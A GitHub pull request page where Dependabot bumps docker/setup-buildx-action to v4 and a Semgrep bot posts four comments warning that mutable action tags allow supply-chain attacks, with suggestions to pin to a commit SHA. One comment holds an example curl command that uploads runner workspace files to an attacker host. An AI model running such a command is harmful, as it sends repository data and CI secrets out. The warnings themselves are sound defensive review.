chore(deps): bump docker/setup-buildx-action from 3 to 4 - #120
chore(deps): bump docker/setup-buildx-action from 3 to 4#120dependabot[bot] wants to merge 1 commit into
Conversation
Bumps [docker/setup-buildx-action](https://github.com/docker/setup-buildx-action) from 3 to 4. - [Release notes](https://github.com/docker/setup-buildx-action/releases) - [Commits](docker/setup-buildx-action@v3...v4) --- updated-dependencies: - dependency-name: docker/setup-buildx-action dependency-version: '4' dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] <support@github.com>
dependabot
Bot
added
dependencies
dependabot
Bot
added
dependencies
![semgrep-code-mongodb[bot]](https://avatars.githubusercontent.com/u/45120?s=60&v=4){kind=small}
|
|
||
| - name: Set up Docker Buildx | ||
| uses: docker/setup-buildx-action@v3 | ||
| uses: docker/setup-buildx-action@v4 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
docker/setup-buildx-action@v4 uses a mutable tag, so this workflow could silently run attacker-controlled code if that tag is repointed.
More details about this
docker/setup-buildx-action@v4 pulls the action by the mutable tag v4, not a specific commit. If the owner of docker/setup-buildx-action or anyone who gains access to that repository repoints v4 to a malicious commit, this job will run the attacker's code during the Set up Docker Buildx step on ubuntu-latest.
A plausible attack looks like this:
- An attacker compromises the
docker/setup-buildx-actionrepository and moves thev4tag to a new commit they control. - Your workflow reaches
uses: docker/setup-buildx-action@v4and GitHub downloads that new commit instead of the code you previously reviewed. - The malicious action runs before
Run Buildx, with access to the job environment, workspace contents checked out byactions/checkout@v6, and any credentials or tokens available to this job. - The action can then exfiltrate data or tamper with the build, for example by sending repository files or CI secrets to an attacker-controlled server, or by modifying the Buildx setup so the later
docker buildx buildstep produces a poisoned image.
Because the reference is @v4, the code that runs here can change without any change to this repository.
To resolve this comment:
✨ Commit fix suggestion
| uses: docker/setup-buildx-action@v4 | |
| uses: docker/setup-buildx-action@c47758d5f291e52bfb4f34b65c3b7e29e4b77c46 # v4 |
View step-by-step instructions
-
Replace the mutable action tag with a full 40-character commit SHA in the
usesline.
Changeuses: docker/setup-buildx-action@v4touses: docker/setup-buildx-action@<full-commit-sha> # v4. -
Keep the version as a comment after the SHA so the intended release stays clear, for example
uses: docker/setup-buildx-action@<full-commit-sha> # v4.x.y.
Pinning to a commit SHA prevents the action owner from silently moving the referenced version to different code. -
Get the SHA from the exact
docker/setup-buildx-actionrelease you want to trust, and use that commit rather than a branch or tag reference. -
Apply the same pinning format to the other third-party GitHub Actions in this workflow that still use version tags, such as
actions/checkout@v6,actions/setup-node@v6, anddocker/setup-qemu-action@v3, so every external action uses@<40-char-sha>.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
|
|
||
| - name: Set up Docker Buildx | ||
| uses: docker/setup-buildx-action@v3 | ||
| uses: docker/setup-buildx-action@v4 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
docker/setup-buildx-action is referenced by the mutable tag @v4, so this workflow may run different action code later without any change in this repo. If that tag is repointed, attacker-controlled code could run in the Buildx setup step and tamper with or exfiltrate CI data.
More details about this
docker/setup-buildx-action@v4 pulls whatever code the action owner currently points the v4 tag at during this workflow run. In this job, that code runs in the Set up Docker Buildx step before docker buildx create and docker buildx build, so a repointed v4 could execute attacker-controlled logic on ubuntu-latest with access to the job workspace and the workflow's GitHub-provided tokens.
A plausible attack looks like this:
- An attacker compromises the
docker/setup-buildx-actionrepository or one of its maintainers. - They move the
v4tag to a new commit that adds a hidden payload to the action. - When
container_tests_glibcruns,uses: docker/setup-buildx-action@v4fetches that new commit automatically. - The payload runs inside the Set up Docker Buildx step and can read files checked out by
actions/checkout, inspect values produced later in the job, or use the job token to make API calls back to GitHub. - It can then tamper with the Buildx environment so the later
docker buildx buildcommand builds with a malicious builder configuration, or exfiltrate repository contents and CI data to an attacker-controlled server with a command likecurl -d @/home/runner/work/... https://attacker.example/upload.
Because the reference is @v4 instead of a full 40-character commit SHA, the exact code executed here can change without any workflow diff in this repository.
To resolve this comment:
✨ Commit fix suggestion
| uses: docker/setup-buildx-action@v4 | |
| uses: docker/setup-buildx-action@988b5a0280414f521da01fcc63a27aeeb4b104db # v4.0.0 |
View step-by-step instructions
-
Replace the mutable GitHub Action reference
docker/setup-buildx-action@v4with a full 40-character commit SHA for the exact release you want to trust.
For example, change it touses: docker/setup-buildx-action@<full-40-character-sha> # v4.x.y. -
Keep the version as a comment after the SHA so the workflow stays readable and future updates are easier.
For example:uses: docker/setup-buildx-action@<full-40-character-sha> # v4.?.?. -
Get the SHA from the action's official repository release or tag page, and make sure it is the commit that the chosen
v4release points to.
Pinning to a commit SHA prevents the tag from being silently moved to different code later.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
|
|
||
| - name: Set up Docker Buildx | ||
| uses: docker/setup-buildx-action@v3 | ||
| uses: docker/setup-buildx-action@v4 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
docker/setup-buildx-action@v4 uses a movable tag, so a repointed v4 could make this workflow run attacker-controlled code during the Buildx setup step.
More details about this
docker/setup-buildx-action@v4 pulls the action by a mutable tag instead of an exact commit, so the code that runs in the Set up Docker Buildx step can change without any review in this repository. In this workflow, that step runs before docker buildx create and docker --debug buildx build, so if someone who can repoint v4 publishes a malicious commit, your runner would execute it with access to the job workspace and any secrets or tokens available to this job.
A plausible attack looks like this:
- An attacker compromises the
docker/setup-buildx-actionrepository or maintainer account and moves thev4tag to a new malicious commit. - This workflow later starts
container_tests_musl, reachesuses: docker/setup-buildx-action@v4, and downloads the attacker-controlled action code becausev4is not fixed to one 40-character SHA. - That malicious action runs on your GitHub runner during Set up Docker Buildx and can read files in the checkout, inspect environment variables, and use the workflow token available to the job.
- The attacker can then exfiltrate repository data or tamper with the later
docker buildx buildinvocation so the producedprebuilds/artifacts contain backdoored binaries before theuploadstep publishes them.
To resolve this comment:
✨ Commit fix suggestion
-
Replace the mutable version tag in the
usesline with a full 40-character commit SHA fordocker/setup-buildx-action.
Changeuses: docker/setup-buildx-action@v4touses: docker/setup-buildx-action@<full-40-character-sha>. -
Keep the action version as an inline comment so the workflow stays readable, for example:
uses: docker/setup-buildx-action@<full-40-character-sha> # v4.x.y -
Pin the SHA to the exact upstream release you intend to use, not just the major tag.
This prevents the action owner from silently movingv4to different code later.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
|
|
||
| - name: Set up Docker Buildx | ||
| uses: docker/setup-buildx-action@v3 | ||
| uses: docker/setup-buildx-action@v4 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
docker/setup-buildx-action is referenced by the mutable v4 tag, so future workflow runs may execute different code if that tag is repointed. A compromised action release could tamper with the Buildx setup and the later Docker build in this job.
More details about this
docker/setup-buildx-action@v4 is pulled by the mutable v4 tag, so this workflow will run whatever commit the action owner later points v4 to. In this job, that action runs right before docker buildx create --name builder --bootstrap --use and docker buildx build, so a repointed tag could change how the builder is installed or execute attacker-controlled code on the GitHub runner.
A plausible attack looks like this:
- An attacker compromises the
docker/setup-buildx-actionrepository or a maintainer account and moves thev4tag to a malicious commit. - Your
container_tests_glibcjob starts and executesuses: docker/setup-buildx-action@v4, fetching that new commit automatically. - The malicious action runs during the Set up Docker Buildx step and can read the workflow workspace, environment variables, and any credentials available to the job.
- It can then tamper with the later
docker buildx buildcommand, for example by altering the builder used forlinux/${{ matrix.linux_arch }}images or by exfiltrating repository data before theupload-artifactstep publishes the build output.
Because the reference is not a full 40-character commit SHA, the code that runs here can change without any PR in this repository.
To resolve this comment:
✨ Commit fix suggestion
- Replace the mutable action tag with a full 40-character commit SHA in the
usesline fordocker/setup-buildx-action. - Keep the current action version in a comment after the SHA so the pinned version is still easy to recognize, for example:
uses: docker/setup-buildx-action@<full-40-char-sha> # v4. - Use the commit SHA from the exact
v4release you intend to keep, not a branch name or short hash. Pinning to a commit prevents the action owner from moving the reference to different code later.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
Bumps docker/setup-buildx-action from 3 to 4.
Release notes
Sourced from docker/setup-buildx-action's releases.
... (truncated)
Commits
d7f5e7fMerge pull request #489 from docker/dependabot/npm_and_yarn/docker/actions-to...92bc5c9chore: update generated contentda11e35build(deps): bump@docker/actions-toolkitfrom 0.79.0 to 0.90.0f021e16Merge pull request #492 from docker/dependabot/npm_and_yarn/undici-6.24.1b5af94fchore: update generated content16ad977build(deps): bump undici from 6.23.0 to 6.25.0d7a12d7Merge pull request #495 from docker/dependabot/npm_and_yarn/glob-10.5.028ff27dbuild(deps): bump glob from 10.3.12 to 13.0.6daf436bMerge pull request #496 from docker/dependabot/npm_and_yarn/fast-xml-parser-5...9725348chore: update generated contentDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting
@dependabot rebase.Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebasewill rebase this PR@dependabot recreatewill recreate this PR, overwriting any edits that have been made to it@dependabot show <dependency name> ignore conditionswill show all of the ignore conditions of the specified dependency@dependabot ignore this major versionwill close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor versionwill close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependencywill close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)